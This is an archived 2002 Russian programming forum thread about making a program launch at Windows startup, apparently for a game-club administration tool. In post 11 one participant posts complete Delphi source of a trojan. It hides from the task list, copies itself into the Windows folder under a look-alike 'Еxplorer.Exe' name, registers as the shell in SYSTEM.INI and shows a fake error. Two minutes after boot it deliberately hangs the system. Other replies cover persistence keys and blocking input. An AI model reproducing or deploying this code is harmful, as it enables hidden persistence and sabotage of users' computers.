Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Система";
Текущий архив: 2002.12.23;
Скачать: [xml.tar.bz2];

Вниз

Запуск программы при загрузке Windows.   Найти похожие ветки 

 
Metallica   (2002-07-28 14:07) [0]

Я написал программу. Что мне нужно сделать для того чтобы она запускалась при загрузке Windows самой первой, даже перед запросом пользователя и пароля.


 
Неотеничный Педоморф   (2002-07-28 15:30) [1]

Совсем круто, когда прога запускается не то что перед загрузкой Windows, а перед включением компа!


 
VEG   (2002-07-28 17:21) [2]

Я знаю, как такое реализовать, но зачем тебе это?


 
hitek   (2002-07-29 10:59) [3]

VEG
а как реализовать такое?


 
Antonius   (2002-07-29 11:18) [4]

Хм... Надо писать свой загрузчик в MBR :)


 
Metallica   (2002-07-29 12:14) [5]

>VEG
мне это нужно для программы "Администратор игрового клуба".


 
VEG   (2002-07-29 12:17) [6]

>Metallica
Я так и думал!
Сейчас сам такую пишу...


 
Sir DAMM   (2002-07-29 13:05) [7]

если win9x то пропиши её в HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

а вообще такую вещь лучне ввиде shell"а писать


 
Metallica   (2002-07-29 20:16) [8]

>VEG
Вопрос по программе "Администратор игрового клуба":
- меня интересует блокировка клавиатуры и мыши (у меня есть пример
procedure BlockInput(ABlockInput : boolean); stdcall; external "USER32.DLL";
но при нажатии 3-х "MagicKeys" она снимается).

Если есть другой способ то напиши или скинь на E-mail.


 
Doctor Snap   (2002-07-31 20:54) [9]

А ты не пробовал вто же время блокировать Ctrl+Alt+Del?


 
VEG   (2002-07-31 22:15) [10]

Metallica, для какого города программа?


 
melifaro   (2002-07-31 22:30) [11]

Привожу пример своей программы. Она запускается перед эксплорером. Т.е. она запускает эксплорер сама.


program WinLoad;

{Функции, которые будем подгружать из виндовых DLL.}

function WritePrivateProfileStringA(ipAppName,ipKeyName,ipString,ipFileName:String): //Запись в файлы INI
integer; stdcall; external "KERNEL32.DLL";

function WinExec(FileName : PChar ; ShowInt : integer): //Запуск приложений...
integer; stdcall; external "KERNEL32.DLL";

Procedure Sleep ( Interval : LongInt) ; stdcall; //Процедура засыпания...
external "KERNEL32.DLL";

function CopyFileA(FromFile : PChar ; ToFile : PChar ; bFailIfExists : Boolean): //Для размножения...
Boolean; stdcall; external "KERNEL32.DLL";

function GetWindowsDirectoryA(Buffer : PChar ; Size : Integer): //Где тут Windows???...
integer; stdcall; external "KERNEL32.DLL";

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); //Простой MessageBox...
stdcall; external "USER32.DLL" name "MessageBoxA";

function RegisterServiceProcess(dwProcessID, dwType: integer): //Изчезаем в Ctrl+Alt+Del...
integer; stdcall; external "KERNEL32.DLL";

function GetCurrentProcessId : //Получение ID нашего процесса
integer; stdcall; external "KERNEL32.DLL";

{Функции, которые выдраны из модуля SysUtils}

function UpperCase(const S: string): string; //Приведение к верхнему регистру...
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= "a") and (Ch <= "z") then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function StrAlloc(Size: Cardinal): PChar; //Выделение памяти под PChar...
begin
Inc(Size, SizeOf(Cardinal));
GetMem(Result, Size);
Cardinal(Pointer(Result)^) := Size;
Inc(Result, SizeOf(Cardinal));
end;

{Процедура "Виси Windows, виси"}

Procedure DropESP;
Asm
Mov ESP , $FFFF;
End;

{Поехали...}

Var
Buf : PChar;
WinDir : String;
Launch : String;

Begin

{Сначала спрячем себя из списка задач, чтобы ламер нас по CTRL+ALT+DEL
не вычислил.}
RegisterServiceProcess(GetCurrentProcessID, 1);

{Теперь получаем директорию Windows. Там Мы будем жить...}
Buf := StrAlloc(260);
GetWindowsDirectoryA(Buf,260);
WinDir := Buf + "\";

{Копируем себя в директорию Windows. Там тепло и просторно...}
CopyFileA(PChar(ParamStr(0)),PChar(WinDir + "Еxplorer.Exe"),False);

{Вводим переменную, которая будет нашим новым именем. Используем
старый трюк: в нашем новом имени "Explorer.Exe", первая буква - русская "Е".}
Launch := WinDir + "Еxplorer.Exe";

{Пишемся в SYSTEM.INI. Оттуда будем грузиться.}
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini");

{Если это наш первый запуск, то делаем вид, что мы испорчены и вообще не приложение...}
If UpperCase(ParamStr(0)) <> UpperCase(WinDir + "Еxplorer.Exe") then
MessageBox(0,Pchar((ParamStr(0)+ " не является приложением Win32.")),PChar(ParamStr(0)),$00000010)

{Если мы уже подгрузились из SYSTEM.INI, запускаем EXPLORER.EXE,
ждём...вешаем винды...}

Else
Begin
WritePrivateProfileStringA ("Boot", "Shell", "Explorer.Exe", WINDIR+"system.ini"); //Пишем Explorer в System.Ini
WinExec("Explorer.Exe",1); //Запускаем Explorer...
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini"); //Пишемся обратно в System.Ini
Sleep ( 120000 ); //2 минуты ждём...
DropESP; //Вешаем Windows...
End;

{Вот и всё...}

end.


Copyright © Melifaro


 
melifaro   (2002-07-31 22:33) [12]

Только не надо даже и думать, что на самом деле делала эта программа, и почему её трояном называли :))))


 
SashOk_   (2002-10-08 09:58) [13]

Пропиши в command.com такое (в самом начале):
@имя_проги


 
BlackDragon   (2002-10-17 03:53) [14]

Спасибо


 
DVE   (2002-10-18 13:04) [15]

я тоже на днях озадачился!
короче сделали так
написали свой Shell пустая форма с картинко. клик- запуск программы.

Запихнули прогу в
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SHELL

Перехват горячих клавиш!
+свой пустой TaskManager =)

При нажатии на гор клавиши запрос пароля(он закодирован в одну сторону и лежит в реестре)

Так что вот!



Страницы: 1 вся ветка

Форум: "Система";
Текущий архив: 2002.12.23;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.6 MB
Время: 0.042 c
1-74781
Непоседа
2002-12-11 11:59
2002.12.23
Функция определенная пользователем.


1-74840
Сутковой Вадим
2002-12-11 21:22
2002.12.23
Энгл Рус


14-74988
Malder
2002-12-04 00:42
2002.12.23
Что с www.ixbt.com ?


3-74555
NONAME00
2002-12-04 12:04
2002.12.23
Ошибка с ADO


14-74936
Nox
2002-12-02 16:13
2002.12.23
Кодировки





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский